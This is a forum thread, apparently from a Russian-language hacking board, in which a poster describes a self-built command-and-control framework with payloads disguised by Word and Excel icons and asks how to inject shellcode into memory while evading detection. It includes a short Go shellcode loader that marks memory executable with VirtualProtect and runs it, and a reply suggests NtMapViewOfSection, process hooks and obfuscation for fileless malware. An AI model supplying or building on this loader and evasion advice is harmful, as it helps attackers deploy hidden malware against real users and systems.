Hello everyone, I have a c2 that I have been programming for a while, it has many functions, traffic encryption with a random key per request, http or https as transport, generating shellcode, adding Word, Excel, etc. icons to Windows payloads, it is multiplatform, the question is, I want the opinion of all malware experts, if someone knows or recommends a good technique to inject the shellcode into memory that is not the traditional one, such as VirtualAlloc, VirtualProtect, WriteProcessMemory, etc and only using in memory techniques without read files, for example decrypting the shellcode using xor or aes in memory and inject after it., thank you and I await your recommendations or advice !
Код:
package main
/*
simple shellcode loader example
*/
import (
"unsafe"
"syscall"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
)
func main() {
old := ""
shellcode := []byte{}
VirtualProtect.Call(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), uintptr(0x40), uintptr(unsafe.Pointer(&old)))
syscall.Syscall(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(0), uintptr(0), uintptr(0), uintptr(0))
}
Последнее редактирование:
If you're avoiding traditional APIs, consider using `NtMapViewOfSection` or `ZwMapViewOfSection`. They are often used for fileless malware and can help keep things in-memory. Another technique worth exploring is leveraging callbacks or hooks in system processes. Also, staying in user mode and avoiding detection is key—obfuscate your shellcode and decryption techniques.
)